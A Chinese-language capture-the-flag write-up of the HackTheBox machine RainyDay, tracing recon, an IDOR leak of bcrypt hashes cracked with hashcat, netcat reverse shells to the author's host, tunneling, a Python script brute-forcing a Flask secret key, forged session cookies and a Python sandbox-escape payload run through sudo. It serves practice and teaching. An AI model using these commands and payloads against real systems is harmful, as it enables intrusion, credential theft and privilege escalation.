系统:linux
难度:困难
发布日期:2022/10/16
靶机地址:https://www.hackthebox.com/machines/rainyday
其他信息:2022年10月24日靶场删除了泄露的root的 SSH 密钥,并更改了泄露的root密码。个人打靶发现靶机还删除了python,其他变化尚未发现。
补充:这台靶机与Vulnhub靶机BOREDHACKERBLOG: SOCIAL NETWORK较为相似,只是利用起来更复杂很多。
nmap -v -p- --min-rate 3000 -sV 10.10.11.184
nmap 10.10.11.184 -p22,80 -A
配置了hosts之后可以访问了,能够看到我的账号页面,点开之后爆破无果,尝试注册账号登录失败。
面对需要绑hosts的靶机,需要做子域名爆破,看看kali上有哪些字典
locate dns | grep "/usr/share" | grep ".txt"
这里演示一下如何使用BurpSuite做子域名爆破:
爆破结果中基本都是302跳转到 http://rainycloud.htb,唯独一个爆破结果是403,简单测试后无法ByPass403,先绑定到hosts中吧,看后面是否会用得到。
dirsearch -u http://rainycloud.htb/ --full-url -R 2 -x 404 --exclude-sizes=0B
看到了一个有点意思的页面,但是尝试输入一个id后并没有出现什么有价值的信息,碰到这种情况也许是id的格式不对,不妨通过bp爆破一把梭。
尝试使用不同的参数格式,如1
、1.0
、1-1
,如何设置这种格式呢?如下:
得到了如下信息:
"id":2,
"password":"$2a$05$FESATmlY4G7zlxoXBKLxA.kYpZx8rLXb2lMjz3SInN4vbkK82na5W",
"username":"root"
"id":1,
"password":"$2a$10$bit.DrTClexd4.wVpTQYb.FpxdGFNPdsVX8fjFYknhDwSxNJh.O.O",
"username":"jack"
"id":3,
"password":"$2b$12$WTik5.ucdomZhgsX6U/.meSgr14LcpWXsCA0KxldEw8kksUtDuAuG",
"username":"gary"
来到网站:https://www.cmd5.com/,一个都没有破解出来。来到hashcat网站看看:
打开 hashcat 点击 Wiki
点开exam,发现 Hash-Mode 3200的类型符合爆破得到的hash样子
开始爆破:hashcat.exe -m 3200 C:\Users\asuka\Desktop\1.txt D:\字典\rockyou.txt
很快就爆破出来,id为3的用户gary的密码是:rubberducky
下拉框有2个选择,测试发现第1个不行,点击之后没有有价值的反应。这里选择下拉框的第2个
经过多次尝试,发现通过如下2种格式可以成功执行命令,下面测试发现第一种执行方式有点问题,需要换成第二种才行。
检查发现靶机存在nc,并且支持-e
参数。但是反弹shell时候除了一些幺蛾子。
nc -e /bin/bash 10.10.14.9 6666
反弹失败,检查发现靶机没有bashnc -e /bin/sh 10.10.14.9 6666
反弹失败,检查发现靶机有shnc 10.10.14.9 6666 -e /bin/sh
反弹成功后立即断开连接,也许需要后台运行nc 10.10.14.9 6666 -e /bin/sh &
反弹成功后立即断开连接难不成,要换成另一种命令执行的格式?果然,换成另一种格式好了。
现在已经可以反弹shell了,于是就出现了一个问题。
我是使用物理机win11通过openVPN直接连接的靶机,我该如何让我的NAT模式虚拟机kali拿到shell呢?可以通过端口转发来解决。
netsh是windows系统自带的一个命令行工具,这个工具可以内置端口转发功能。由于物理机都是有防火墙的,因此使用端口转发前需要先在本地测试一下能不能实现端口转发。
以管理员身份运行cmd,执行如下命令,一旦有人访问了物理机的4444端口,就转发给kali的4444端口。
添加端口转发的命令
netsh interface portproxy add v4tov4 listenport=4444 connectaddress=192.168.229.128 connectport=4444
查看端口转发的记录表
netsh interface portproxy show all
清除指定规则
netsh interface portproxy delete v4tov4 listenport=4444
清除所有规则
netsh interface portproxy reset
如下图,连接openVPN后,物理机得到一个IP:10.10.14.9,然后kali在4444端口开启一个web服务。物理机访问本地的4444端口果然看到了kali的web服务。说明端口转发没问题。
**测试发现,如果只是用于本地虚拟机和物理机之间的端口转发,可以不设置防火墙,像这种HTB靶机的话,需要设置防火墙才可以。**我这里新建了如下规则,允许3个端口可以做转发。
发现靶机上不存在python,因此只能通过sh获取一个简陋的交互环境,由于靶机一开始就说了自己是个docker环境,并且我们发现看到的IP和靶机IP不同,基本确认身处docker环境中。
简单的看了下内网,没法做主机发现,从arp中发现了一个主机,还是内网穿透吧,穿透之后再做内网。
这里忘了写工具是怎么投递的了,下文“内网扫描”中会补写
这里尝试了很多款内网穿透工具,甚至关闭了物理机的防火墙,始终无法让kali与靶机之间建立隧道。最终放弃。第二天,也就是现在,重新捋了一遍思路:
首先恢复防火墙,重新做一遍端口转发
show
显示网络拓扑A表示admin节点,数字表示agent节点。下面的拓扑图表示,admin节点下连接了1节点
goto
操作某节点socks
建立到某节点的socks5代理执行成功socks命令之后,会在admin节点本地开启一个端口,如下图中通过1080端口即可进行socks5代理
配置proxychains4.conf(较新版本的kali已经没有proxychains.conf了,取而代之的是proxychains4.conf)
ls -lh /etc | grep proxy
vim /etc/proxychains4.conf
tail -5 /etc/proxychains4.conf
懒得一个一个扫了,直接fsan一把梭
python -m http.server 6666
wget http://10.10.14.9:6666/fscan_amd64
由于已经做了端口转发,因此访问物理机的6666端口,就会访问到kali6666端口的web服务。结果尴尬了,fscan扫不动,没结果。
那就只能老实的通过socks代理扫描了,在做“端口转发”的时候,通过arp
得知docker网络中有个IP是172.18.0.1,猜测这个应该是宿主机的IP,先扫一波。这种扫描扫描的端口多,很费时间,目前能看到22、80端口,以及一个49153端口,不知道是什么鬼。想要一探究竟,还是得浏览器挂代理访问一下。
proxychains4 nmap -Pn -sT 172.18.0.1
从目前得到的来看,不出意外的话,应该是通过socks代理访问之前发现的子域名,通过它来实现docker逃逸,但是kali里面的字体比较小,截图不好看,并且不知道什么原因,kali里面的浏览器无法完整的渲染子域名,因此下面我直接使用自己的物理机来做内网渗透,部分情况下可能会使用虚拟机来做。
登录了之前爆破出来的子域名,这个时候再来看一下之前目录爆破的结果,竟然有了新的发现,这个时候注意到cookie是JWT格式的,但是请求包上面没有JWT按钮,看起来“JWT Editor Keys”插件不能正常编辑这个JWT数据,丢到 jwt.io 看一眼,发现这个JWT是签名无效。
那么,接下来怎么搞?没办法,翻看了下攻略,只能说,攻略也是晦涩的。能看出来大概意思是通过/api/healthcheck
页面找到密钥来篡改JWT。那么,怎么找密钥?
攻略的操作很神奇,如下所示,可以看到:
/etc/passwd
的检查和过滤规则抄了过来,来检查文件中是否包含某内容
攻略十分自信密钥中会包含SECRET_KEY
,并且密钥存在于/var/www/rainycloud
路径下。对于这种开挂行为,暂且看他就算开挂又是怎么打穿靶场的吧。
最终在“/var/www/rainycloud/secrets.py”中发现了密钥位置,爆破结果为true
POST /api/healthcheck HTTP/1.1
Host: dev.rainycloud.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y4G3sA.DfpGzMmf7s6XdCNpHG5vD-PWDTw
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
file=/var/www/rainycloud/secrets.py&type=CUSTOM&pattern=^SECRET_KEY.*'
需要布尔爆破密钥内容,相关的脚本攻略里提供了。但是在此之前我们需要验证自己能否连接上靶场。
通过bp插件“Copy As Python-Requests”很方便得到了一段python代码,略微修改一下:
发现需要给python挂上代理,我这里图省事就不挂socks代理了,直接把python挂到bp上,发现代码能够正常跑起来,那就开始改造攻略里的脚本
改造后的脚本如下:
import string
import requests
import json
allchars = string.printable
cookies = {'session': 'eyJ1c2VybmFtZSI6ImdhcnkifQ.Y4G3sA.DfpGzMmf7s6XdCNpHG5vD-PWDTw'} # 填写自己的cookie信息
proxy = {"http": "http://127.0.0.1:8089"} # bp 监听端口临时改成了8089
s = requests.Session()
pattern = ""
while True:
for c in allchars:
try:
rsp = s.post('http://dev.rainycloud.htb/api/healthcheck', {
'file': '/var/www/rainycloud/secrets.py',
'type': 'custom',
'pattern': "^SECRET_KEY = '" + pattern + c + ".*"
}, cookies=cookies, proxies=proxy)
if json.loads(rsp.content)['result']:
pattern += c
print('[√]:'+str(pattern))
break
else:
print('[×]:'+str(c))
except Exception:
print(rsp.content)
开始爆破,结果爆破一段时间后报错了,一检查竟然是隧道断开了。重新爆破,结果又是到这个爆破结果的时候断开了,看来是靶场自身的问题,只能把获取到的部分密钥值填入到脚本中,让脚本在爆破了。
拼接之后重新爆破,发现爆破出某段内容之后,再无新的爆破结果了,说明已经爆破完毕。
最终得到密钥:略(靶场在役,暂不公开)
拿着密钥来到 https://jwt.io 发现根本没法篡改身份,那怎么办?
根据攻略,可以使用工具flask-session-cookie-manager 来做越权。已知的JWT攻击方式在BurpSuite网络安全学院里面都记录的有,靶场里的这种攻击方式我是第一次碰到。
当初网站探测的时候知道靶场上有三个用户:root、jack、gary
尝试越权root用户
git clone https://github.com/noraj/flask-session-cookie-manager.git
cd flask-session-cookie-manager
ls
python ./flask_session_cookie_manager3.py encode -s 密钥 -t "{'username': 'root'}"
得到cookie值:eyJ1c2VybmFtZSI6InJvb3QifQ.Y4H99A.ipx-A7fgdksnTVNLj9so7YLRWO0
篡改浏览器的cookie,刷新之后发现啥也没有,合着这个root账户没有用。
于是,又是命令执行得到了一个shell,看起来是docker网络里的另一台机器
那么,接下来怎么办呢?完全没有方向了。查看攻略发现了pspy
工具pspy在之前的靶机CEREAL: 1中介绍过,它让我们可以在没有特权的情况下看到linux系统上的所有进程。到这种时候了,能想到这个工具,还能打穿靶机,我不知道该说什么了,它不像web渗透是寻着线索打,现在的打法很乱。甚至可以称之为玄学,因此下面不再追究思路的合理性了。
pspy64投递到靶机上面,后台运行,看到了一个关于休眠的进程。
进入这个休眠进程中,发现了一个有意思的目录:
cd /proc/1120
ls -al
得到了一个flag:略
这个时候有2个办法:
我这里选择第2中办法,比较便捷:
首先读取到ssh私钥内容
粘贴私钥到kali中,成功登上靶机
vim id_rsa
chmod 400 ./id_rsa
ssh [email protected] -i ./id_rsa
用户jack似乎可以提权为jack_adm,但是不知道该怎么提权。
我本想扔一个提权脚本,意外发现靶机的/tmp
目录下有个名为aa
的文件,文件内容阅读不懂,通过攻略中的参考文档得知这是python沙河逃逸,我对这块并不了解,因此直接使用攻略中的利用代码完成提权。
echo 'print(().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__["__builtins__"]["__loader__"]().load_module("builtins").__import__("os").system("bash -i"))' > /tmp/test && sudo -u jack_adm /usr/bin/safe_python /tmp/test
看起来,jack_adm账户可以通过sudo提权,但是这个提权涉及到了hash,再次涉及到知识盲区。攻略中提到的把密码设为空得到hash值,然后跑出盐值的方法已经失效,具体该怎么整没啥思路。只能放弃了。
https://meowmeowattack.wordpress.com/2022/10/18/hackthebox-htb-writeup-rainyday/(文中提到的攻略)